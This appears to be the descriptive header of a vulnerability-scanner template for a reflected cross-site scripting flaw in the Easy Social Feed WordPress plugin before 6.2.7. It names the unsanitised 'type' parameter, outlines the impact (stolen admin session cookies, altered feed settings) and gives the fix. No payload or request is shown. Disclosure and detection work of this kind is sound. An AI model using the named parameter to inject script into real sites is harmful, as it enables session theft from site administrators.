info:
  name: Easy Social Feed < 6.2.7 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor.
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in the type parameter, potentially stealing administrator session cookies or modifying social feed configurations.
  remediation: |
    Update to Easy Social Feed version 6.2.7 or later to mitigate the vulnerability.
